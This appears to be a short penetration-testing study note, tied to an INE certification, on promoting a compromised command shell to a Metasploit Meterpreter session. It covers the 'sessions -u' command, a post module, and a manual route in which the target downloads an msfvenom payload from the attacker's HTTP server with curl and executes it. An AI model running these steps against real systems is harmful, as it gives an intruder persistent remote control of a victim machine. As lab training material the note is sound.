Skip to content
Home

Upgrading a shell session to Meterpreter

Three ways to promote a plain command shell to a full Meterpreter session — one-liner, MSF module, and manual msfvenom payload.

msfconsole·1 min read··INE Certification

Some exploits only get you a plain shell session. These three approaches are a great way of getting a meterpreter session.

Option 1: MSF upgrade command

sessions -u <session_id>       # Metasploit attempts the upgrade automatically

Option 2: MSF module

use post/multi/manage/shell_to_meterpreter
set SESSION <session_id>
set LHOST eth1
run
# Successful upgrade creates a NEW session with meterpreter

Option 3: manually

# Generate a meterpreter payload
msfvenom -p <target_payload> LHOST=<attacker_ip> LPORT=<port> -f <format> -o payload

# Serve it from the attacker machine
python3 -m http.server 8000

# Set up the handler
use multi/handler
set payload <matching_payload>
set LHOST <attacker_ip>
set LPORT <port>
run

# On the target (from the plain shell):
curl http://<attacker_ip>:8000/payload -o /tmp/payload
chmod +x /tmp/payload
/tmp/payload

After any upgrade, run sessions to confirm the new session type shows meterpreter not shell.